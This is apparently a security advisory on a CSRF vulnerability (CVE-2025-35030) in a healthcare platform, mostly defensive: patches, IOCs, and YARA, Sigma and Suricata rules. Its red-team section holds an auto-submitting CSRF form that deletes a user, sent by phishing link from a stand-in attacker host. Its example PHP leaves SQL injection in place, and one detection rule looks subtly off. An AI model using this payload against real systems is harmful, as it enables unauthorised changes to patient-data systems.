CVE-2025-35030

Executive Summary

CVE-2025-35030 is a Cross-Site Request Forgery (CSRF) vulnerability in Medical Informatics Engineering (MIE) Enterprise Health, a healthcare IT platform. An unauthenticated attacker can trick an authenticated administrative user into clicking a crafted URL, thereby performing unauthorized actions on behalf of that admin. The vulnerability has a CVSS score of 8.1 (High) and, while no public exploit code is available, the risk to healthcare data confidentiality, integrity, and availability is significant. The vendor has issued a fix as of April 8, 2025, but specific version details are not publicly disclosed.

Supply Chain & Package Security

This vulnerability affects a proprietary healthcare application (Enterprise Health) and is not associated with open-source packages (NPM, PyPI, Go, Ruby). The supply chain risk is limited to the vendor’s software distribution and update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – attacker does not need authentication.
• User Interaction: Required (UI:R) – victim admin must click a crafted link.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – potential exposure of sensitive patient data.
• Integrity Impact: High (I:H) – attacker can modify system configurations or data.
• Availability Impact: High (A:H) – attacker could disrupt system operations.

Threat Level: High. The combination of remote exploitability, low complexity, and high impact on healthcare data makes this a critical target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the Enterprise Health web application’s handling of state-changing requests. The application fails to implement anti-CSRF tokens or other validation mechanisms (e.g., SameSite cookies, custom headers) for sensitive administrative actions. An attacker can craft a malicious HTML page or email containing a forged request (e.g., a <form> auto-submit or an <img> tag with a crafted URL) that, when visited by an authenticated admin, executes actions such as:

• Modifying user permissions
• Exporting patient records
• Changing system configurations
• Deleting audit logs

The attack works because the browser automatically includes the admin’s session cookies with the forged request, and the server processes it without verifying the request’s origin.

Vulnerable vs. Patched Code

Since no specific code or version details are publicly available, the following is a generic representation of the vulnerability and its fix.

Vulnerable Code (Conceptual):

// vulnerable.php - No CSRF protection
if ($_POST['action'] == 'delete_user') {
    $user_id = $_POST['user_id'];
    $db->query("DELETE FROM users WHERE id = $user_id");
    echo "User deleted.";
}

Patched Code (Conceptual):

// patched.php - CSRF token validation
session_start();
if ($_POST['action'] == 'delete_user') {
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die("CSRF token mismatch.");
    }
    $user_id = intval($_POST['user_id']);
    $db->query("DELETE FROM users WHERE id = $user_id");
    echo "User deleted.";
}

The patched version introduces a CSRF token stored in the session and validated on every state-changing request. Additionally, the intval() function prevents SQL injection, though that is not the primary vulnerability.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A test instance of MIE Enterprise Health (vulnerable version).
• An authenticated admin session (simulated).
• A controlled web server to host the malicious payload.

Step 1: Craft the CSRF Payload Create an HTML file (csrf_exploit.html) that auto-submits a form to the target endpoint:

<html>
<body>
<form id="csrf" action="https://target-enterprise-health.com/admin/delete_user" method="POST">
    <input type="hidden" name="user_id" value="12345">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server. Send a phishing email to the admin with a link to http://attacker.com/csrf_exploit.html.

Step 3: Trigger When the admin clicks the link while logged into Enterprise Health, the form auto-submits, deleting user 12345.

Blue Team (Defense & Detection)

Defensive Measures:

1. Implement CSRF Tokens: Ensure all state-changing requests include a unique, per-session token.
2. SameSite Cookies: Set SameSite=Strict or Lax on session cookies.
3. Custom Headers: Require a custom header (e.g., X-Requested-With: XMLHttpRequest) for AJAX requests.
4. Referer/Origin Validation: Check the Referer or Origin header on sensitive endpoints.
5. User Education: Train admins to avoid clicking suspicious links while authenticated.

Detection Lab Setup:

• Deploy a WAF (e.g., ModSecurity) with CSRF rules.
• Monitor logs for unexpected POST requests to admin endpoints from external referrers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Suspicious HTTP POST requests to /admin/* endpoints with no Referer header or from unexpected origins.
  • Repeated requests to sensitive endpoints (e.g., delete_user, export_data) from a single IP in a short timeframe.
• Host IOCs:
  • Unexpected changes to user permissions or system configurations.
  • Audit log entries showing actions performed without corresponding UI interaction.
• File IOCs:
  • Presence of unexpected HTML files in web directories (if attacker uploaded payload).
• Behavioral IOCs:
  • Admin accounts performing bulk operations (e.g., mass user deletion) outside normal hours.

Detection Engineering

YARA Rule

rule CVE_2025_35030_CSRF_Payload {
    meta:
        description = "Detects CSRF payloads targeting MIE Enterprise Health"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35030"
    strings:
        $csrf_form = /<form[^>]*action=["']https?:\/\/[^"']*enterprise-health[^"']*["']/ nocase
        $csrf_auto = /<script>.*submit\(\)/ nocase
        $admin_endpoint = /\/admin\/(delete|modify|export|config)/ nocase
    condition:
        $csrf_form and $csrf_auto and $admin_endpoint
}

Sigma Rule

title: CSRF Attack Against MIE Enterprise Health
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attempts targeting Enterprise Health admin endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-35030
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/admin/'
        cs-referer|contains: 
            - 'http://'
            - 'https://'
        cs-referer|notcontains: 
            - 'enterprise-health'
            - 'mie'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted partners
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-35030 CSRF Attempt Against Enterprise Health"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; pcre:"/Referer\x3a\x20[^\r\n]*enterprise-health/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Update MIE Enterprise Health to the latest version released after April 8, 2025.
2. Enable CSRF Protection: If not already present, implement anti-CSRF tokens on all state-changing endpoints.
3. Review Access Logs: Check for any suspicious POST requests to admin endpoints from unknown referrers.

Long-Term Mitigations:

• Web Application Firewall (WAF): Deploy rules to block requests missing CSRF tokens or with suspicious referrers.
• Session Hardening: Set SameSite=Strict on session cookies and use secure, HttpOnly flags.
• Regular Security Audits: Conduct penetration testing focusing on CSRF and other OWASP Top 10 vulnerabilities.
• User Training: Educate administrative users on phishing and social engineering risks.

Workaround (if patching is delayed):

• Disable direct access to admin endpoints via IP whitelisting or VPN.
• Implement a reverse proxy that validates custom headers (e.g., X-CSRF-Token) before forwarding requests.

Valters IT
Securing Healthcare, One Vulnerability at a Time.